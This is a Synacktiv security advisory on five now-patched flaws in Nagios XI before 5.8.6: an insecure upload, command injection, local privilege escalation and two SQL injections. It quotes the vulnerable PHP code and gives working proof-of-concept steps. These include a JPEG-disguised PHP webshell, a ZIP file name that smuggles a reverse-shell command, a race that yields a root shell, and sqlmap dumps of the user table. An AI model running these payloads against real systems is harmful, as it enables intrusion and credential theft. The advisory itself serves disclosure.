SYNACKTIV
DIGITAL SECURITY

Multiple vulnerabilities in Nagios XI < 5.8.6

Security advisory

2021-10-15

Guillaume André

Vulnerabilities description

Presentation of Nagios XI

"Comprehensive application, service, and network monitoring in a central solution."[1]

The issues

Synacktiv discovered multiple vulnerabilities in *Nagios XI*:

- An insecure file upload allows an administrator to upload and execute PHP code.
- A command injection allows an administrator to execute arbitrary commands.
- Insecure file permissions allow a local privilege escalation.
- An SQL injection allows an administrator to dump the users' database.
- An SQL injection allows a low-privileged user to dump the *nagiosql* database.

Affected versions

Versions 5.8.3, 5.8.4 and 5.8.5 are vulnerable but anterior versions may also be vulnerable.

Timeline

Date	Action
2021-08-10	Advisory sent to *jomann@nagios.com*.
2021-08-10	Reply from *Nagios*.
2021-08-31	CVE Ids assigned to the RCEs and privilege escalation vulnerabilities: CVE-2021-40343, CVE-2021-40344, CVE-2021-40345.
2021-09-02	All fixes for the reported vulnerabilities have been released in version 5.8.6.

1 From *Nagios*'s website (https://www.nagios.com/products/nagios-xi/)

Technical description and proof-of-concept

1. Insecure file upload - CVE-2021-40344

> **Status: Fixed in version 5.8.6.**

In the *Custom Includes* section of the *Admin* panel, an administrator can upload images. However, only the MIME type of the image is checked server-side before uploading the file, the file extension is not checked.

```
File: /usr/local/nagiosxi/html/includes/components/custom-includes/manage.php
089: function upload_files()
090: {
[...]
114:         if (!$error) {
115:             $type = verify_uploaded_file($_FILES['uploadedfile']);
116:             if (empty($type)) {
117:                 $error = true;
118:                 $msg = _('Could not upload file') . ' <b>' . $_FILES['uploadedfile']
['name'] . '</b><br>' . _('This file does not match one of the valid file types above.');
119:             }
120:         }
121:
122:         if (!$error) {
123:             $dir = $uploaddir . $type . '/';
124:             $filename = basename($_FILES['uploadedfile']['name']);
125:             if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $dir .
$filename)) {
126:                 $files[] = $dir . $_FILES['uploadedfile']['name'];
127:             } else {
128:                 $error = true;
129:                 $msg = _('Could not upload file') . ' <b>' . $_FILES['uploadedfile']
['name'] . '</b><br>' . sprintf(_('Verify permissions on upload directory %s.'), $dir);
130:             }
131:         }
[...]
175: }
```

The function *verify_uploaded_file* only checks the MIME type of the file against a whitelist:

```
File: /usr/local/nagiosxi/html/includes/components/custom-includes/manage.php
213: function verify_uploaded_file($file)
214: {
215:     $dir = '';
216:     $css = array('text/css');
217:     $js = array('application/javascript', 'application/x-javascript',
'application/octet-stream', 'text/html', 'text/x-java', 'text/javascript');
218:     $images = array('image/png', 'image/jpg', 'image/jpeg', 'image/gif', 'image/bmp');
219:
220:     // Verify file type
221:     $finfo = finfo_open(FILEINFO_MIME_TYPE);
222:     $ext = finfo_file($finfo, $file['tmp_name']);
223:     finfo_close($finfo);
224:
225:     // Fix for FF (is bmp && octet)
226:     if (in_array($ext, $images) || ($file['type'] == 'image/bmp' && $ext ==
'application/octet-stream')) {
227:         $dir = 'images';
```

```
228:     } else if ($ext == 'text/plain' || $ext == 'text/html' || $ext == 'text/x-c' ||
$ext == 'text/x-c++' || $ext == 'text/x-java') {
229:         if (in_array($file['type'], $css)) {
230:             $dir = 'css';
231:         } else if (in_array($file['type'], $js)) {
232:             $dir = 'javascript';
233:         }
234:     }
235:
236:     return $dir;
237: }
```

Therefore, it is possible to craft a custom PHP webshell that will pass the MIME type check (detected as a JPEG file), upload it on the server and execute arbitrary commands:

```
$ echo -ne '\xff\xd8\xff\xdb<?php system($_GET["cmd"]); ?>' > webshell.php
$ curl -kb 'nagiosxi=s7ps4f03lrgn4jvrbub6pgb4p3' -F 'uploadedfile=@./webshell.php'
'https://127.0.0.1:8443/nagiosxi/includes/components/custom-includes/manage.php?cmd=upload'
$ curl -k 'https://127.0.0.1:8443/nagiosxi/includes/components/custom-includes/images/
webshell.php?cmd=id'
ÿØÿÛuid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd)
```

2. Command injection - CVE-2021-40345

Status: Fixed in version 5.8.6.

In the *Manage Dashlets* section of the *Admin* panel, it is possible to upload ZIP files. After it is uploaded, the archive is extracted in a temporary directory *$tmpdir*. Then the name of the first file in the temporary directory is retrieved (into the *$cdir* variable) and is concatenated to a string *$cmdline* that is passed to the PHP function *system*:

```
File: /home/guillaume/Documents/nagios/nagiosxi_5.8.5/cron/cmdsubsys.php
140: function process_command($command, $command_data, &$output, $username)
141: {
[...]
571:         case COMMAND_INSTALL_DASHLET:
[...]
583:             $tmpdir = get_tmp_dir()."/".$tmpname;
584:             system("rm -rf ".$tmpdir);
585:             mkdir($tmpdir);
586:
587:             // Unzip dashlet to temp directory
588:             $cmdline = "cd ".$tmpdir." && ".escapeshellcmd("unzip -o
".get_tmp_dir()."/dashlet-".$file);
589:             system($cmdline);
590:
591:             // Determine dashlet directory/file name
592:             $cdir = system("ls -1 ".$tmpdir."/");
593:             $cname = $cdir;
594:             if (preg_match("/(.*)(-[0-9a-f]{40})(.*)/", $cname, $hash_matches) == 1) {
595:                 $cname = $hash_matches[1] . $hash_matches[3];
596:             }
597:             if (preg_match("/(.*)(-master|-development)(.*)/", $cname,
$branch_matches) == 1) {
598:                 $cname = $branch_matches[1] . $branch_matches[3];
599:             }
600:
601:             // Make sure this is a dashlet
602:             $isdashlet = true;
603:
604:             // Check for register_dashlet...
605:             $cmdline = "grep register_dashlet ".$tmpdir."/".$cdir."/".$cname.".inc.php
| wc -l";
606:             if ($logging) {
607:                 echo "CMD=$cmdline";
608:             }
609:
610:             $out = system($cmdline, $rc);
[...]
```

Therefore, by crafting a ZIP archive containing a file whose name begins and ends with ";", it is possible to inject arbitrary commands. In this example, a reverse shell is created:

```
$ touch \;php\ -r\ \'\$sock=fsockopen\(\"127.0.0.1\",1337\)\;\$proc=proc_open\(\"bash\ -
i\",array\(0=\>\$sock,1=\>\$sock,2=\>\$sock\),\$pipes\)\;\'\;\;
$ zip test.zip ';php -r '\''$sock=fsockopen("127.0.0.1",1337);$proc=proc_open("bash -
i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'\'';'
  adding: ;php -r '$sock=fsockopen("127.0.0.1",1337);$proc=proc_open("bash -
i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);';; (stored 0%)
```

```
$ curl -kb 'nagiosxi=s7ps4f03lrgn4jvrbub6pgb4p3' -F 'uploadedfile=@./test.zip' -F
'upload=1' -F 'nsp=542838ddc1ae9c8442fcf70d2009db942e3f678073d2ebb413c100afe6e58142'
'https://127.0.0.1:8443/nagiosxi/admin/dashlets.php'

$ nc -lvp 1337
Listening on 0.0.0.0 1337
Connection received on localhost 49902
bash: no job control in this shell
[nagios@localhost ~]$ id
uid=1000(nagios) gid=1000(nagios) groups=1000(nagios),1001(nagcmd)
```

3. Local privilege escalation - CVE-2021-40343

Status: Fixed in version 5.8.6.

The user *nagios* can execute the script */usr/local/nagiosxi/scripts/migrate/migrate.php* as root with sudo without a password:

```
[nagios@localhost ~]$ id
uid=1000(nagios) gid=1000(nagios) groupes=1000(nagios),1001(nagcmd)
[nagios@localhost ~]$ sudo -l
[...]
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *
[...]
```

The interesting part of the script is the following:

```
File: /home/guillaume/Documents/nagios/nagiosxi_5.8.5/scripts/migrate/migrate.php
077: run_migration_ansible($address, $username, $password, $nagios_cfg, $overwrite);
078:
079: function run_migration_ansible($address, $username, $password, $nagios_cfg, $overwrite
= 0)
080: {
[...]
105:     if (!is_dir(get_root_dir()."/tmp/migrate")) {
106:         mkdir(get_root_dir()."/tmp/migrate");
107:     }
108:     exec("rm -rf ".get_root_dir()."/tmp/migrate/*", $output, $code);
[...]
158:     // Run the unbundler script once we have the new bundle on the XI system
159:     $cmd = "cp ".get_root_dir()."/scripts/migrate/nagios_unbundler.py
".get_root_dir()."/tmp/migrate/nagios_unbundler.py";
160:     $x = exec($cmd, $output, $code);
161:     $cmd = "cd ".get_root_dir()."/tmp/migrate && tar xf nagiosbundle-*.tar.gz &&
python nagios_unbundler.py";
162:     $x = exec($cmd, $output, $code);
[...]
```

The script creates a temporary directory and removes all the files in this directory. Later, it copies the script */usr/local/nagiosxi/scripts/migrate/nagios_unbundler.py* in the temporary directory. Finally, the script extract files from an archive and executes the previously copied Python script. The script *nagios_unbundler.py* is writable by the user *nagios*:

```
$ ls -l /usr/local/nagiosxi/scripts/migrate/nagios_unbundler.py
-rwxr-xr--. 1 nagios nagios 18886 21 juil. 21:47
/usr/local/nagiosxi/scripts/migrate/nagios_unbundler.py
```

Therefore, a system command can be added to the script:

```
$ cat /usr/local/nagiosxi/scripts/migrate/nagios_unbundler.py
#!/usr/bin/env python
import os
os.system('/bin/bash')

# Note: this script assumes that you are already chdir'd to the correct location.
import argparse
import re
[...]
```

The last thing to do is ensure that the command *tar xf nagiosbundle-*.tar.gz* succeeds so that the next command *python nagios_unbundler.py* is executed. As the temporary directory is emptied earlier in the script, it is necessary to create an archive between the moment the directory is emptied and the moment the archive is extracted. The easiest way to do so is to

create an archive and to perform an infinite loop that copies the archive into the temporary directory. Eventually, executing the *migrate.php* script with *sudo* results in a root shell:

```
[nagios@localhost ~]$ touch test
[nagios@localhost ~]$ tar cvzf nagiosbundle-1.tar.gz test
test
[nagios@localhost ~]$ while true; do cp nagiosbundle-1.tar.gz
/usr/local/nagiosxi/tmp/migrate/; done

[nagios@localhost ~]$ sudo /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php a
[root@localhost migrate]# id
uid=0(root) gid=0(root) groupes=0(root)
```

4. SQL injections

Authenticated as administrator

Status: Fixed in version 5.8.6.

In the */nagiosxi/html/includes/utils-mibs.inc.php* file, a user-controlled parameter *$mib_name* is concatenated to an SQL request without being sanitized in the function *mibs_get_associated_traps*:

```
File: /usr/local/nagiosxi/html/includes/utils-mibs.inc.php
315: function mibs_get_associated_traps($mibs) {
316:
317:     global $db_tables;
318:
319:     if (!is_array($mibs)) {
320:         $mibs = array($mibs);
321:     }
322:
323:     $traps = array();
324:     $x = 0;
325:
326:     foreach ($mibs as $mib_name) {
327:
328:         if (is_array($mib_name)) {
329:             $mib_name = $mib_name['mib_name'];
330:         }
331:
332:         $sql = 'SELECT trapdata_event_name as event_name, trapdata_event_oid as oid,
trapdata_category as category, trapdata_severity as severity from ' .
$db_tables[DB_NAGIOSXI]["cmp_trapdata"] . " WHERE trapdata_parent_mib_name = '$mib_name'";
333:
334:         $result = exec_sql_query(DB_NAGIOSXI, $sql);
[...]
343: }
```

The *$mib_name* is a value of the array *$mibs*. In the */nagiosxi/html/admin/mibs.php* file, the *mibs_get_associated_traps* function is called in the *show_partial_traps_table* function with a parameter *mib_name* from the current request:

```
File: /usr/local/nagiosxi/html/admin/mibs.php
087: function show_partial_traps_table() {
088:     $mib_name = grab_request_var('mib_name', '');
089:
090:     $trap_definitions = mibs_get_associated_traps($mib_name);
[...]
103: }
```

The function *show_partial_traps_table* is called from the function *route_request*:

```
File: /home/guillaume/Documents/nagios/nagiosxi_5.8.5/html/admin/mibs.php
26: route_request();
27:
28:
29: function route_request()
30: {
31:     global $request;
32:
33:     $mode = '';
```

```
34:     if (isset($request['mode'])) {
35:         $mode = $request['mode'];
36:     }
37:
38:     switch ($mode) {
[...]
75:         case 'partial-traps':
76:             show_partial_traps_table();
77:             break;
78:         default:
79:             show_mibs();
80:     }
81:
82:     exit;
83: }
```

Therefore, the SQL injection can be triggered with the following command:

```
$ sqlmap -u  "https://127.0.0.1:8443/nagiosxi/admin/mibs.php?mode=partial-traps&mib_name=a"
-p mib_name --cookie='nagiosxi=uq6tiii2rc0v3qs2saqnosstv5' --dbms=mysql –current-db
[...]
current database: 'nagiosxi'
```

The users' database can be extracted:

```
$ sqlmap -u  "https://127.0.0.1:8443/nagiosxi/admin/mibs.php?mode=partial-traps&mib_name=a"
-p mib_name --cookie='nagiosxi=uq6tiii2rc0v3qs2saqnosstv5' --dbms=mysql -T xi_users –dump
[...]
Database: nagiosxi
Table: xi_users
[1 entry]
+---------+---------------------+---------------
+-----------------------------------------------------------------+---------
+-----------------------------------------------------------------+-------------+------------
+------------+------------+------------+-------------+-------------
+---------------------------------+----------------+----------------
+----------------------+
| user_id | name                | email          | api_key
| enabled | password                                                        | username    |
created_by | last_login | api_enabled | last_edited | created_time | last_attempt |
backend_ticket                   | last_edited_by | login_attempts | last_password_change |
+---------+---------------------+---------------
+-----------------------------------------------------------------+---------
+-----------------------------------------------------------------+-------------+------------
+------------+------------+------------+-------------+-------------
+---------------------------------+----------------+----------------
+----------------------+
| 1       | Nagios Administrator | root@localhost |
ogmhXLdP5v3Kv3ND4WPZFMrmpqL0CmgZFVhSWtX2i0283O0mKPlGCQ20gNhR9Q84 | 1       |
$2a$10$16ea93033ed76edea00df0zjE1Jg8NNIw8xorazakX53Mpo/K7wO6 | nagiosadmin | 0         |
1628156207 | 1           | 0           | 0           | 0            |
EiptG298t30dK2ofrnULgNGCtm7OQP7q | 0              | 0              | 0                    |
+---------+---------------------+---------------
+-----------------------------------------------------------------+---------
+-----------------------------------------------------------------+-------------+------------
+------------+------------+------------+-------------+-------------
+---------------------------------+----------------+----------------
+----------------------+
```

Authenticated as user

Status: Fixed in version 5.8.6.

In the */nagiosxi/includes/components/bulkmodifications/ajaxreqs.php* file, a user-controlled parameter *$id* is concatenated to an SQL request without being sanitized in the function *get_ajax_relationship_table*. The parameter *$id* is taken from the request.

```
File: /usr/local/nagiosxi/html/includes/components/bulkmodifications/ajaxreqs.php
85: function get_ajax_relationship_table($opt = 'host')
86: {
87:     $contact = grab_request_var('contact', false);
88:     $id = grab_request_var('id', false);
89:     $html = '<div class="relation-tables">';
90:
91:     $query = "SELECT `id`,`host_name` FROM `tbl_lnkHostToContact` LEFT JOIN `tbl_host`
ON `idMaster` = `id` WHERE `idSlave` = '{$id}' ORDER BY host_name ASC";
92:     $results = exec_sql_query(DB_NAGIOSQL, $query, true);
```

The function *get_ajax_relationship_table* is called in the same file when the request parameter *cmd* equals “getcontacts”:

```
File: /usr/local/nagiosxi/html/includes/components/bulkmodifications/ajaxreqs.php
24: // Route the request to the porper area
25: $cmd = grab_request_var('cmd', false);
26: switch ($cmd) {
27:
28:     case 'getcontacts':
29:         print get_ajax_relationship_table();
30:         break;
```

Therefore, the SQL injection can be triggered with the following command:

```
$ sqlmap -u "https://127.0.0.1:8443/nagiosxi/includes/components/bulkmodifications/
ajaxreqs.php?cmd=getcontacts&id=a" -p id --cookie='nagiosxi=fs69foubmimpvl5cfjlvuk92g7' --
dbms=mysql –current-db
current database: 'nagiosql'
```